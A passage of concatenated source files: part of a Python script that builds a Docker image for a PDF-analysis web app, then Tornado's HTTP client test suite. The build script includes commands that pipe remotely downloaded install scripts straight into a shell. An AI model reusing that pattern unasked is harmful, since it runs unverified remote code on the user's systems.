'<jsonArguments>', '<mongo>', '<outputHtml>', '<workbenchApiUrl>']), )], s.Optional('cwd', default='.'): str, 'execStdin': s.And(str, lambda x: all([ y.group(0) in ['<referenceDecisions>', '<statsbyfile>'] for y in re.finditer('<[^>]*>', x)]), error="Must be string with any <'s being one of: " "<referenceDecisions>, <statsbyfile>"), }, }), s.Optional('file_detail_views', default={}): s.Or({}, { str: { 'label': str, 'type': 'program_to_html', 'exec': [str], s.Optional('cwd', default='.'): str, s.Optional('outputMimeType', default='text/html'): str, }, }), } # NOTE -- primary schema validation is here, but NOT for submodules such # as pdf-etl-parse. sch = s.Schema({ 'name': s.And(str, s.Regex(r'^[a-zA-Z0-9-]+$')), # parsers validated by pdf-etl-parse 'parsers': etl_parse.schema_get(), s.Optional('parserDefaultTimeout', default=30): s.Or(float, int), 'decision_default': str, s.Optional('pipelines', default={}): s.Or({}, { s.And(str, lambda x: '_' not in x and '.' not in x, error='Must not have underscore or dot'): { s.Optional('label'): str, s.Optional('disabled', default=False): s.Or(True, False), s.Optional('tasks', default={}): s.Or({}, s.And( { s.And(str, lambda x: '_' not in x and '.' not in x, error='Must not have underscore or dot'): { s.Optional('disabled', default=False): s.Or(True, False), 'version': str, 'exec': [str], s.Optional('cwd', default='.'): str, s.Optional('dependsOn', default=[]): [str], }, }, lambda x: all([d in x for _, task in x.items() for d in task['dependsOn']]), error="Task `dependsOn` had invalid name", )), s.Optional('parsers', default={}): etl_parse.schema_get(), **schema_views, }, }), 'build': { 'stages': { str: { s.Optional('from'): str, s.Optional('commands'): [str], s.Optional('copy_output'): { str: s.Or(str, bool), }, }, }, }, **schema_views, }) try: config_data = sch.validate(config_data) except Exception as e: traceback.print_exc() sys.stderr.write('\n'.join([str(v) for v in e.autos]) + '\n') sys.exit(1) IMAGE_TAG = config_data['name'] return config_data def _check_image(development, config_data, build_dir, build_faw_dir): """Ensure that the docker image is loaded, if we are using a packaged version, or rebuild latest, if using a development version. Args: development (bool): True if image is a development image, which will have certain folders mounted. config_data (dict): The loaded config.json5 data. build_dir (str): The Docker build context folder. build_faw_dir (str): The path, relative to the docker build context, of the FAW code. """ build_local = development or os.path.lexists(os.path.join(faw_dir, 'common', 'pdf-observatory')) if not build_local: # For e.g. version updates, load the image first. image_file = os.path.join(faw_dir, IMAGE_TAG + '.image') if os.path.lexists(image_file): print('Loading docker image...') subprocess.check_call(['docker', 'load', '-i', image_file]) os.unlink(image_file) o = subprocess.check_output(['docker', 'image', 'ls', IMAGE_TAG, '--format', '{{.ID}}']) if not o.strip(): raise Exception("Image not correctly installed, and not " "locally present. Try re-extracting and running " "again?") return # Need to build the image suffix = '-dev' if development else '' assert config_data is not None, 'required --config?' dockerfile = [] dockerfile_middle = [] dockerfile_final = [] dockerfile_final_postamble = [] stages_written = set() # Hardcoded stages required for observatory. stages_hardcoded = { # For production builds, the mongodb server and the FAW utilities reside # in the same image. So, clone the latest mongodb from the official # image. 'obs__mongo': { 'from': 'mongo:latest', 'copy_output': { '/var/log/mongodb': True, #'/var/lib/dpkg/info': True, '/lib/systemd/system/mongod.service': '/lib/systemd/system/', #'/usr/share/doc': True, '/usr/share/lintian/overrides/mongodb-*': '/usr/share/lintian/overrides/', '/usr/bin/mongo*': '/usr/bin/', '/usr/local/bin/docker-entrypoint.sh': True, '/etc/apt/apt.conf.d/docker*': '/etc/apt/apt.conf.d/', '/etc/dpkg/dpkg.cfg.d/docker*': '/etc/dpkg/dpkg.cfg.d/', # COPY --from=mongo /.dockerenv / # COPY --from=mongo /docker-entrypoint-initdb.d / '/etc/apt/sources.list.d/mongodb-org.list': True, '/etc/apt/trusted.gpg.d/mongodb.gpg': True, '/etc/mongod.conf.orig': True, }, }, 'obs__pdf-etl-tools': { 'from': 'ubuntu:18.04', 'copy_output': { '/root/.local/bin/pdf-etl-tool': '/usr/local/bin/pdf-etl-tool', }, 'commands': [ # Setup environment 'RUN apt-get update && apt-get install -y wget && wget -qO- https://get.haskellstack.org/ | sh', # First, tell stack to download the compiler 'RUN stack setup 8.6.5', # NOTE: # 8.6.5 is the ghc version number that is implicit in the the "resolver: " # line in pdf-etl-tools/stack.yaml # ANALYSIS: # - we could remove coupling at a big efficiency hit by removing this RUN command # - not technically 'coupling' as this only affects efficiency # - if the resolver requires a different version of ghc, nothing is broken, but # we've downloaded 8.6.5 for nought. # - no known solution to get the behavior we want from stack. # - if we try to get stack to determine ghc version from stack.yaml, we have # now lost our efficiency, because the ghc install would now be dependent # upon the haskell package versions in stack.yaml # - FIXME: discover a way to get cake and eat it too. # Next, download and build all packages (takes a long time) f'COPY {build_faw_dir}/common/stack-staging /home/stack-staging', f'COPY {build_faw_dir}/common/pdf-etl-tools/stack.yaml /home/stack-staging/stack.yaml', 'WORKDIR /home/stack-staging', 'RUN stack build', # Now, build our pdf-etl-tool f'COPY {build_faw_dir}/common/pdf-etl-tools /home/pdf-etl-tools', 'RUN cd /home/pdf-etl-tools && stack --allow-different-user install pdf-etl-tools:pdf-etl-tool', ], }, } # Important! User changes should trigger as little rebuild as possible. # One way to accomplish this is by affected dockerfile_middle and dockerfile_final # with system code as early as possible. if development: # Development extensions... add not-compiled code directories. dockerfile_final.append(r''' # Install npm globally, so it's available for debug mode RUN curl -sL https://deb.nodesource.com/setup_14.x | bash - && apt-get install -y nodejs ''') else: # Production extensions... dockerfile_middle.append(rf''' FROM base AS ui-builder # Install npm locally, only for the build. RUN curl -sL https://deb.nodesource.com/setup_14.x | bash - && apt-get install -y nodejs COPY {build_faw_dir}/common/pdf-observatory/ui /home/pdf-observatory/ui RUN cd /home/pdf-observatory/ui \ && npm install \ && npm run build ''') # Always install observatory component dependencies as first part of final # stage (to minimize rebuilds on user code changes) dockerfile_final.append(rf''' COPY {build_faw_dir}/common/pdf-etl-parse/requirements.txt /home/pdf-etl-parse/requirements.txt RUN pip3 install -r /home/pdf-etl-parse/requirements.txt COPY {build_faw_dir}/common/pdf-observatory/requirements.txt /home/pdf-observatory/requirements.txt RUN pip3 install -r /home/pdf-observatory/requirements.txt ''') # The below commands should be quick to run, as they will happen any time # the user changes their code. config_rel_dir = os.path.relpath(CONFIG_FOLDER, build_dir) if development: dockerfile_final_postamble.append(rf''' # Add not-compiled code directories COPY {build_faw_dir}/common/pdf-etl-parse /home/pdf-etl-parse #COPY {build_faw_dir}/common/pdf-observatory /home/pdf-observatory ''') # The CONFIG_FOLDER will be mounted as dist at runtime. else: dockerfile_final_postamble.append(rf''' # Add not-compiled code directories; omit "ui" for observatory COPY {build_faw_dir}/common/pdf-etl-parse /home/pdf-etl-parse COPY {build_faw_dir}/common/pdf-observatory/*.py /home/pdf-observatory/ COPY {build_faw_dir}/common/pdf-observatory/mongo_queue_helper /home/pdf-observatory/mongo_queue_helper COPY --from=ui-builder /home/pdf-observatory/ui/dist /home/pdf-observatory/ui/dist # The final stage must always have the distribution folder available as # /home/dist; do this after copying the base material and building the # base UI, so user changes trigger those rebuilds infrequently. COPY {shlex.quote(config_rel_dir)} /home/dist ENV OBS_PRODUCTION "--production" ''') for stage, stage_def in {**config_data['build']['stages'], **stages_hardcoded}.items(): if not stages_written and stage != 'base': raise ValueError(f'First stage must be "base", not {stage}') stage_commands = stage_def.get('commands', []) stage_commands_new = [] for s in stage_commands: try: ss = s.format(dist=config_rel_dir, disttarg='/home/dist') except KeyError: raise KeyError(f'While formatting: {s}') else: stage_commands_new.append(ss) stage_commands = stage_commands_new if stage == 'final': assert stage_def.get('from') is None assert stage_def.get('copy_output') is None dockerfile_final.extend(stage_commands) continue base = stage_def.get('from', 'base') if base == 'base' and stage == 'base': raise ValueError("Stage 'base' must have a 'from' defined") stages_written.add(stage) dockerfile.append(f'FROM {base} AS {stage}') if stage == 'base': # Ensure that e.g. curl, python3, python3-pip, and wget all get installed stage_commands = [ 'RUN apt-get update && apt-get install -y curl python3 python3-pip wget', ] + stage_commands dockerfile.extend(stage_commands) for k, v in stage_def.get('copy_output', {}).items(): if v is True: v = k dockerfile_final_postamble.append(f'COPY --from={stage} {k} {v}') # Regardless, there's some glue code to create the final image. dockerfile_middle.append(rf''' FROM base ## s6 overlay for running mongod and observatory side by side #ADD https://github.com/just-containers/s6-overlay/releases/download/v1.21.8.0/s6-overlay-amd64.tar.gz /tmp/ COPY {build_faw_dir}/common/s6-overlay-amd64.tar.gz /tmp/ # Updated for ubuntu 20.04, for which /bin is a symlink # Still need old extract command for previous versions. RUN bash -c '\ ([ -L /bin ] \ && ( \ tar xzf /tmp/s6-overlay-amd64.tar.gz -C / --exclude="./bin" \ && tar xzf /tmp/s6-overlay-amd64.tar.gz -C /usr ./bin \ ) \ || ( \ tar xzf /tmp/s6-overlay-amd64.tar.gz -C / \ ) \ ) \ && rm /tmp/s6-overlay-amd64.tar.gz \ ' # Setup service files to automatically run mongodb in the background # Note that logging for mongodb goes to /var/log/mongodb; see # https://github.com/just-containers/s6-overlay/issues/291 # Tell S6 to pass environment variables on to child processes ENV S6_KEEP_ENV 1 # Tell python to never buffer output. This is vital for preventing # some "write would block" messages. ENV PYTHONUNBUFFERED 1 # Ensure any python code running (dask, user code) has access to # the faw_pipelines_util and user packages. ENV PYTHONPATH /home/dist:/home/pdf-observatory # Mongodb service RUN \ mkdir -p /etc/cont-init.d \ && echo '#! /bin/sh\nmkdir -p /var/log/mongodb\nchown -R nobody:nogroup /var/log/mongodb' > /etc/cont-init.d/mongod \ && mkdir -p /etc/services.d/mongod \ && echo '#! /bin/sh\nmongod --ipv6 --bind_ip_all' >> /etc/services.d/mongod/run \ && chmod a+x /etc/services.d/mongod/run \ && mkdir /etc/services.d/mongod/log \ && echo '#! /usr/bin/execlineb -P\nlogutil-service /var/log/mongodb' >> /etc/services.d/mongod/log/run \ && chmod a+x /etc/services.d/mongod/log/run # Observatory service (modifications must also change common/teaming/pyinfra/deploy.py) RUN \ mkdir -p /etc/cont-init.d \ && echo '#! /bin/sh\nmkdir -p /var/log/observatory\nchown -R nobody:nogroup /var/log/observatory' > /etc/cont-init.d/observatory \ && mkdir /etc/services.d/observatory \ && echo '#! /bin/bash\ncd /home/pdf-observatory\npython3 main.py /home/pdf-files "127.0.0.1:27017/${{DB}}" --in-docker --port 8123 ${{OBS_PRODUCTION}} --config ../config.json 2>&1' >> /etc/services.d/observatory/run \ && chmod a+x /etc/services.d/observatory/run \ && mkdir /etc/services.d/observatory/log \ && echo '#! /usr/bin/execlineb -P\nlogutil-service /var/log/observatory' > /etc/services.d/observatory/log/run \ && chmod a+x /etc/services.d/observatory/log/run \ && echo OK # Dask service (scheduler AND worker initially; teaming script fixes this) # Note -- listens to all IPv4 and IPv6 addresses by default. RUN \ mkdir /etc/services.d/dask-scheduler \ && echo '#! /bin/bash\ncd /home/dist\ndask-scheduler --port 8786' >> /etc/services.d/dask-scheduler/run \ && chmod a+x /etc/services.d/dask-scheduler/run \ && echo OK RUN \ mkdir -p /etc/cont-init.d \ && echo '#! /bin/sh\nmkdir -p /var/log/dask-worker\nchown -R nobody:nogroup /var/log/dask-worker' > /etc/cont-init.d/dask-worker \ && mkdir /etc/services.d/dask-worker \ && echo '#! /bin/bash\ncd /home/dist\ndask-worker --local-directory /tmp localhost:8786 2>&1' >> /etc/services.d/dask-worker/run \ && chmod a+x /etc/services.d/dask-worker/run \ && mkdir /etc/services.d/dask-worker/log \ && echo '#! /usr/bin/execlineb -P\nlogutil-service /var/log/dask-worker' > /etc/services.d/dask-worker/log/run \ && chmod a+x /etc/services.d/dask-worker/log/run \ && echo OK # Add 'timeout' script to /usr/bin, for collecting memory + CPU time # information. COPY {build_faw_dir}/common/timeout-master /home/timeout RUN chmod a+x /home/timeout/timeout \ && ln -s /home/timeout/timeout /usr/bin/timeout_pshved # Container runtime properties ENV LC_ALL C.UTF-8 ENV LANG C.UTF-8 ENV DB observatory-default-data ENV OBS_PRODUCTION "" ENTRYPOINT ["/init"] ''') config_json = _export_config_json(config_data) # Shell execution limit config_json = config_json.replace('\\', '\\\\') # We always process the deployment-specific json5 file into # /home/config.json in the repo. dockerfile_final_postamble.append(fr''' RUN echo {shlex.quote(config_json)} > /home/config.json ''') dockerfile = '\n'.join(dockerfile + dockerfile_middle + dockerfile_final + dockerfile_final_postamble) print('='*79) print(dockerfile) print('='*79) r = subprocess.run(['docker', 'build', '-t', IMAGE_TAG + suffix, '-f', '-', '.'], cwd=build_dir, input=dockerfile.encode()) if r.returncode != 0: raise Exception("Docker build failed; see above") def _export_config_json(config_data): import json config_data_client = config_data.copy() config_data_client.pop('build', None) config_json = json.dumps(config_data_client) return config_json def _mongo_copy(db_name, copy_mongo_from): # Only spin up mongo dummy_mongo_port = 27015 import asyncio import bson import motor.motor_asyncio async def run_and_dump(): p = await asyncio.create_subprocess_exec( 'docker', 'run', '-it', '--rm', '-v', f'{IMAGE_TAG+VOLUME_SUFFIX}:/data/db', '-p', f'{dummy_mongo_port}:27017', '--entrypoint', 'mongod', IMAGE_TAG + '-dev', ) p_exit = p.wait() # Wait for docker to spin up async def test_connection(): try: await asyncio.wait_for(p_exit, timeout=0.1) raise ValueError('docker exited early') except asyncio.TimeoutError: # OK, docker hasn't exited pass client = motor.motor_asyncio.AsyncIOMotorClient( 'mongodb://127.0.0.1:27015') try: await asyncio.wait_for(client.list_databases(), timeout=1) # OK, got names, connected return True except asyncio.TimeoutError: # Not yet. return False while not await test_connection(): pass try: mongo_host, mongo_db = copy_mongo_from.split('/', 1) client = motor.motor_asyncio.AsyncIOMotorClient( 'mongodb://' + mongo_host) assert '/' not in mongo_db client_db = client[mongo_db] dest = motor.motor_asyncio.AsyncIOMotorClient( 'mongodb://127.0.0.1:27015') await dest.drop_database(db_name) dest_db = dest[db_name] cols = [c['name'] for c in await client_db.list_collections()] for col in cols: print(f'Copying {col}...') client_col = client_db[col] dest_col = dest_db[col] copied = [0] batch = [] async def dump_batch(): if not batch: return # Fix 2020-02-03: bson.errors.InvalidDocument: key 'Error opening PDF file.' must not contain '.' if col == 'invocationsparsed': for b in batch: to_fix = [] for k in b['result'].keys(): if '.' in k: to_fix.append(k) for k in to_fix: b['result'][k.replace('.', '')] = b['result'].pop(k) try: await dest_col.insert_many(batch) except bson.errors.InvalidDocument: #import pprint #pprint.pprint(batch) raise copied[0] += len(batch) batch.clear() async for doc in client_col.find(): batch.append(doc) if len(batch) >= 1024: await dump_batch() await dump_batch() print(f'...copied {copied[0]}') print('All done - OK') finally: # Kill docker p.kill() asyncio.run(run_and_dump()) if __name__ == '__main__': main()
httpclient_test.py
#!/usr/bin/env python from __future__ import absolute_import, division, print_function, with_statement import base64 import binascii from contextlib import closing import functools import sys import threading import datetime from io import BytesIO from tornado.escape import utf8 from tornado.httpclient import HTTPRequest, HTTPResponse, _RequestProxy, HTTPError, HTTPClient from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop from tornado.iostream import IOStream from tornado.log import gen_log from tornado import netutil from tornado.stack_context import ExceptionStackContext, NullContext from tornado.testing import AsyncHTTPTestCase, bind_unused_port, gen_test, ExpectLog from tornado.test.util import unittest, skipOnTravis from tornado.util import u from tornado.web import Application, RequestHandler, url from tornado.httputil import format_timestamp, HTTPHeaders class HelloWorldHandler(RequestHandler): def get(self): name = self.get_argument("name", "world") self.set_header("Content-Type", "text/plain") self.finish("Hello %s!" % name) class PostHandler(RequestHandler): def post(self): self.finish("Post arg1: %s, arg2: %s" % ( self.get_argument("arg1"), self.get_argument("arg2"))) class PutHandler(RequestHandler): def put(self): self.write("Put body: ") self.write(self.request.body) class RedirectHandler(RequestHandler): def prepare(self): self.redirect(self.get_argument("url"), status=int(self.get_argument("status", "302"))) class ChunkHandler(RequestHandler): def get(self): self.write("asdf") self.flush() self.write("qwer") class AuthHandler(RequestHandler): def get(self): self.finish(self.request.headers["Authorization"]) class CountdownHandler(RequestHandler): def get(self, count): count = int(count) if count > 0: self.redirect(self.reverse_url("countdown", count - 1)) else: self.write("Zero") class EchoPostHandler(RequestHandler): def post(self): self.write(self.request.body) class UserAgentHandler(RequestHandler): def get(self): self.write(self.request.headers.get('User-Agent', 'User agent not set')) class ContentLength304Handler(RequestHandler): def get(self): self.set_status(304) self.set_header('Content-Length', 42) def _clear_headers_for_304(self): # Tornado strips content-length from 304 responses, but here we # want to simulate servers that include the headers anyway. pass class PatchHandler(RequestHandler): def patch(self): "Return the request payload - so we can check it is being kept" self.write(self.request.body) class AllMethodsHandler(RequestHandler): SUPPORTED_METHODS = RequestHandler.SUPPORTED_METHODS + ('OTHER',) def method(self): self.write(self.request.method) get = post = put = delete = options = patch = other = method # These tests end up getting run redundantly: once here with the default # HTTPClient implementation, and then again in each implementation's own # test suite. class HTTPClientCommonTestCase(AsyncHTTPTestCase): def get_app(self): return Application([ url("/hello", HelloWorldHandler), url("/post", PostHandler), url("/put", PutHandler), url("/redirect", RedirectHandler), url("/chunk", ChunkHandler), url("/auth", AuthHandler), url("/countdown/([0-9]+)", CountdownHandler, name="countdown"), url("/echopost", EchoPostHandler), url("/user_agent", UserAgentHandler), url("/304_with_content_length", ContentLength304Handler), url("/all_methods", AllMethodsHandler), url('/patch', PatchHandler), ], gzip=True) def test_patch_receives_payload(self): body = b"some patch data" response = self.fetch("/patch", method='PATCH', body=body) self.assertEqual(response.code, 200) self.assertEqual(response.body, body) @skipOnTravis def test_hello_world(self): response = self.fetch("/hello") self.assertEqual(response.code, 200) self.assertEqual(response.headers["Content-Type"], "text/plain") self.assertEqual(response.body, b"Hello world!") self.assertEqual(int(response.request_time), 0) response = self.fetch("/hello?name=Ben") self.assertEqual(response.body, b"Hello Ben!") def test_streaming_callback(self): # streaming_callback is also tested in test_chunked chunks = [] response = self.fetch("/hello", streaming_callback=chunks.append) # with streaming_callback, data goes to the callback and not response.body self.assertEqual(chunks, [b"Hello world!"]) self.assertFalse(response.body) def test_post(self): response = self.fetch("/post", method="POST", body="arg1=foo&arg2=bar") self.assertEqual(response.code, 200) self.assertEqual(response.body, b"Post arg1: foo, arg2: bar") def test_chunked(self): response = self.fetch("/chunk") self.assertEqual(response.body, b"asdfqwer") chunks = [] response = self.fetch("/chunk", streaming_callback=chunks.append) self.assertEqual(chunks, [b"asdf", b"qwer"]) self.assertFalse(response.body) def test_chunked_close(self): # test case in which chunks spread read-callback processing # over several ioloop iterations, but the connection is already closed. sock, port = bind_unused_port() with closing(sock): def write_response(stream, request_data): stream.write(b"""\ HTTP/1.1 200 OK Transfer-Encoding: chunked 1 1 1 2 0 """.replace(b"\n", b"\r\n"), callback=stream.close) def accept_callback(conn, address): # fake an HTTP server using chunked encoding where the final chunks # and connection close all happen at once stream = IOStream(conn, io_loop=self.io_loop) stream.read_until(b"\r\n\r\n", functools.partial(write_response, stream)) netutil.add_accept_handler(sock, accept_callback, self.io_loop) self.http_client.fetch("http://127.0.0.1:%d/" % port, self.stop) resp = self.wait() resp.rethrow() self.assertEqual(resp.body, b"12") self.io_loop.remove_handler(sock.fileno()) def test_streaming_stack_context(self): chunks = [] exc_info = [] def error_handler(typ, value, tb): exc_info.append((typ, value, tb)) return True def streaming_cb(chunk): chunks.append(chunk) if chunk == b'qwer': 1 / 0 with ExceptionStackContext(error_handler): self.fetch('/chunk', streaming_callback=streaming_cb) self.assertEqual(chunks, [b'asdf', b'qwer']) self.assertEqual(1, len(exc_info)) self.assertIs(exc_info[0][0], ZeroDivisionError) def test_basic_auth(self): self.assertEqual(self.fetch("/auth", auth_username="Aladdin", auth_password="open sesame").body, b"Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==") def test_basic_auth_explicit_mode(self): self.assertEqual(self.fetch("/auth", auth_username="Aladdin", auth_password="open sesame", auth_mode="basic").body, b"Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==") def test_unsupported_auth_mode(self): # curl and simple clients handle errors a bit differently; the # important thing is that they don't fall back to basic auth # on an unknown mode. with ExpectLog(gen_log, "uncaught exception", required=False): with self.assertRaises((ValueError, HTTPError)): response = self.fetch("/auth", auth_username="Aladdin", auth_password="open sesame", auth_mode="asdf") response.rethrow() def test_follow_redirect(self): response = self.fetch("/countdown/2", follow_redirects=False) self.assertEqual(302, response.code) self.assertTrue(response.headers["Location"].endswith("/countdown/1")) response = self.fetch("/countdown/2") self.assertEqual(200, response.code) self.assertTrue(response.effective_url.endswith("/countdown/0")) self.assertEqual(b"Zero", response.body) def test_credentials_in_url(self): url = self.get_url("/auth").replace("http://", "http://me:secret@") self.http_client.fetch(url, self.stop) response = self.wait() self.assertEqual(b"Basic " + base64.b64encode(b"me:secret"), response.body) def test_body_encoding(self): unicode_body = u("\xe9") byte_body = binascii.a2b_hex(b"e9") # unicode string in body gets converted to utf8 response = self.fetch("/echopost", method="POST", body=unicode_body, headers={"Content-Type": "application/blah"}) self.assertEqual(response.headers["Content-Length"], "2") self.assertEqual(response.body, utf8(unicode_body)) # byte strings pass through directly response = self.fetch("/echopost", method="POST", body=byte_body, headers={"Content-Type": "application/blah"}) self.assertEqual(response.headers["Content-Length"], "1") self.assertEqual(response.body, byte_body) # Mixing unicode in headers and byte string bodies shouldn't # break anything response = self.fetch("/echopost", method="POST", body=byte_body, headers={"Content-Type": "application/blah"}, user_agent=u("foo")) self.assertEqual(response.headers["Content-Length"], "1") self.assertEqual(response.body, byte_body) def test_types(self): response = self.fetch("/hello") self.assertEqual(type(response.body), bytes) self.assertEqual(type(response.headers["Content-Type"]), str) self.assertEqual(type(response.code), int) self.assertEqual(type(response.effective_url), str) def test_header_callback(self): first_line = [] headers = {} chunks = [] def header_callback(header_line): if header_line.startswith('HTTP/'): first_line.append(header_line) elif header_line != '\r\n': k, v = header_line.split(':', 1) headers[k] = v.strip() def streaming_callback(chunk): # All header callbacks are run before any streaming callbacks, # so the header data is available to process the data as it # comes in. self.assertEqual(headers['Content-Type'], 'text/html; charset=UTF-8') chunks.append(chunk) self.fetch('/chunk', header_callback=header_callback, streaming_callback=streaming_callback) self.assertEqual(len(first_line), 1) self.assertRegexpMatches(first_line[0], 'HTTP/1.[01] 200 OK\r\n') self.assertEqual(chunks, [b'asdf', b'qwer']) def test_header_callback_stack_context(self): exc_info = [] def error_handler(typ, value, tb): exc_info.append((typ, value, tb)) return True def header_callback(header_line): if header_line.startswith('Content-Type:'): 1 / 0 with ExceptionStackContext(error_handler): self.fetch('/chunk', header_callback=header_callback) self.assertEqual(len(exc_info), 1) self.assertIs(exc_info[0][0], ZeroDivisionError) def test_configure_defaults(self): defaults = dict(user_agent='TestDefaultUserAgent', allow_ipv6=False) # Construct a new instance of the configured client class client = self.http_client.__class__(self.io_loop, force_instance=True, defaults=defaults) try: client.fetch(self.get_url('/user_agent'), callback=self.stop) response = self.wait() self.assertEqual(response.body, b'TestDefaultUserAgent') finally: client.close() def test_header_types(self): # Header values may be passed as character or utf8 byte strings, # in a plain dictionary or an HTTPHeaders object. # Keys must always be the native str type. # All combinations should have the same results on the wire. for value in [u("MyUserAgent"), b"MyUserAgent"]: for container in [dict, HTTPHeaders]: headers = container() headers['User-Agent'] = value resp = self.fetch('/user_agent', headers=headers) self.assertEqual( resp.body, b"MyUserAgent", "response=%r, value=%r, container=%r" % (resp.body, value, container)) def test_304_with_content_length(self): # According to the spec 304 responses SHOULD NOT include # Content-Length or other entity headers, but some servers do it # anyway. # http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.5 response = self.fetch('/304_with_content_length') self.assertEqual(response.code, 304) self.assertEqual(response.headers['Content-Length'], '42') def test_final_callback_stack_context(self): # The final callback should be run outside of the httpclient's # stack_context. We want to ensure that there is not stack_context # between the user's callback and the IOLoop, so monkey-patch # IOLoop.handle_callback_exception and disable the test harness's # context with a NullContext. # Note that this does not apply to secondary callbacks (header # and streaming_callback), as errors there must be seen as errors # by the http client so it can clean up the connection. exc_info = [] def handle_callback_exception(callback): exc_info.append(sys.exc_info()) self.stop() self.io_loop.handle_callback_exception = handle_callback_exception with NullContext(): self.http_client.fetch(self.get_url('/hello'), lambda response: 1 / 0) self.wait() self.assertEqual(exc_info[0][0], ZeroDivisionError) @gen_test def test_future_interface(self): response = yield self.http_client.fetch(self.get_url('/hello')) self.assertEqual(response.body, b'Hello world!') @gen_test def test_future_http_error(self): with self.assertRaises(HTTPError) as context: yield self.http_client.fetch(self.get_url('/notfound')) self.assertEqual(context.exception.code, 404) self.assertEqual(context.exception.response.code, 404) @gen_test def test_reuse_request_from_response(self): # The response.request attribute should be an HTTPRequest, not # a _RequestProxy. # This test uses self.http_client.fetch because self.fetch calls # self.get_url on the input unconditionally. url = self.get_url('/hello') response = yield self.http_client.fetch(url) self.assertEqual(response.request.url, url) self.assertTrue(isinstance(response.request, HTTPRequest)) response2 = yield self.http_client.fetch(response.request) self.assertEqual(response2.body, b'Hello world!') def test_all_methods(self): for method in ['GET', 'DELETE', 'OPTIONS']: response = self.fetch('/all_methods', method=method) self.assertEqual(response.body, utf8(method)) for method in ['POST', 'PUT', 'PATCH']: response = self.fetch('/all_methods', method=method, body=b'') self.assertEqual(response.body, utf8(method)) response = self.fetch('/all_methods', method='HEAD') self.assertEqual(response.body, b'') response = self.fetch('/all_methods', method='OTHER', allow_nonstandard_methods=True) self.assertEqual(response.body, b'OTHER') @gen_test def test_body_sanity_checks(self): hello_url = self.get_url('/hello') with self.assertRaises(ValueError) as context: yield self.http_client.fetch(hello_url, body='data') self.assertTrue('must be None' in str(context.exception)) with self.assertRaises(ValueError) as context: yield self.http_client.fetch(hello_url, method='POST') self.assertTrue('must not be None' in str(context.exception)) # This test causes odd failures with the combination of # curl_httpclient (at least with the version of libcurl available # on ubuntu 12.04), TwistedIOLoop, and epoll. For POST (but not PUT), # curl decides the response came back too soon and closes the connection # to start again. It does this *before* telling the socket callback to # unregister the FD. Some IOLoop implementations have special kernel # integration to discover this immediately. Tornado's IOLoops # ignore errors on remove_handler to accommodate this behavior, but # Twisted's reactor does not. The removeReader call fails and so # do all future removeAll calls (which our tests do at cleanup). # #def test_post_307(self): # response = self.fetch("/redirect?status=307&url=/post", # method="POST", body=b"arg1=foo&arg2=bar") # self.assertEqual(response.body, b"Post arg1: foo, arg2: bar") def test_put_307(self): response = self.fetch("/redirect?status=307&url=/put", method="PUT", body=b"hello") response.rethrow() self.assertEqual(response.body, b"Put body: hello") class RequestProxyTest(unittest.TestCase): def test_request_set(self): proxy = _RequestProxy(HTTPRequest('http://example.com/', user_agent='foo'), dict()) self.assertEqual(proxy.user_agent, 'foo') def test_default_set(self): proxy = _RequestProxy(HTTPRequest('http://example.com/'), dict(network_interface='foo')) self.assertEqual(proxy.network_interface, 'foo') def test_both_set(self): proxy = _RequestProxy(HTTPRequest('http://example.com/', proxy_host='foo'), dict(proxy_host='bar')) self.assertEqual(proxy.proxy_host, 'foo') def test_neither_set(self): proxy = _RequestProxy(HTTPRequest('http://example.com/'), dict()) self.assertIs(proxy.auth_username, None) def test_bad_attribute(self): proxy = _RequestProxy(HTTPRequest('http://example.com/'), dict()) with self.assertRaises(AttributeError): proxy.foo def test_defaults_none(self): proxy = _RequestProxy(HTTPRequest('http://example.com/'), None) self.assertIs(proxy.auth_username, None) class HTTPResponseTestCase(unittest.TestCase): def test_str(self): response = HTTPResponse(HTTPRequest('http://example.com'), 200, headers={}, buffer=BytesIO()) s = str(response) self.assertTrue(s.startswith('HTTPResponse(')) self.assertIn('code=200', s) class SyncHTTPClientTest(unittest.TestCase): def setUp(self): if IOLoop.configured_class().__name__ in ('TwistedIOLoop', 'AsyncIOMainLoop'): # TwistedIOLoop only supports the global reactor, so we can't have # separate IOLoops for client and server threads. # AsyncIOMainLoop doesn't work with the default policy # (although it could with some tweaks to this test and a # policy that created loops for non-main threads). raise unittest.SkipTest( 'Sync HTTPClient not compatible with TwistedIOLoop or ' 'AsyncIOMainLoop') self.server_ioloop = IOLoop() sock, self.port = bind_unused_port() app = Application([('/', HelloWorldHandler)]) self.server = HTTPServer(app, io_loop=self.server_ioloop) self.server.add_socket(sock) self.server_thread = threading.Thread(target=self.server_ioloop.start) self.server_thread.start() self.http_client = HTTPClient() def tearDown(self): def stop_server(): self.server.stop() self.server_ioloop.stop() self.server_ioloop.add_callback(stop_server) self.server_thread.join() self.http_client.close() self.server_ioloop.close(all_fds=True) def get_url(self, path): return 'http://localhost:%d%s' % (self.port, path) def test_sync_client(self): response = self.http_client.fetch(self.get_url('/')) self.assertEqual(b'Hello world!', response.body) def test_sync_client_error(self): # Synchronous HTTPClient raises errors directly; no need for # response.rethrow() with self.assertRaises(HTTPError) as assertion: self.http_client.fetch(self.get_url('/notfound')) self.assertEqual(assertion.exception.code, 404) class HTTPRequestTestCase(unittest.TestCase): def test_headers(self): request = HTTPRequest('http://example.com', headers={'foo': 'bar'}) self.assertEqual(request.headers, {'foo': 'bar'}) def test_headers_setter(self): request = HTTPRequest('http://example.com') request.headers = {'bar': 'baz'} self.assertEqual(request.headers, {'bar': 'baz'}) def test_null_headers_setter(self): request = HTTPRequest('http://example.com') request.headers = None self.assertEqual(request.headers, {}) def test_body(self): request = HTTPRequest('http://example.com', body='foo') self.assertEqual(request.body, utf8('foo')) def test_body_setter(self): request = HTTPRequest('http://example.com') request.body = 'foo' self.assertEqual(request.body, utf8('foo')) def test_if_modified_since(self): http_date = datetime.datetime.utcnow() request = HTTPRequest('http://example.com', if_modified_since=http_date) self.assertEqual(request.headers, {'If-Modified-Since': format_timestamp(http_date)})
installwizard.py
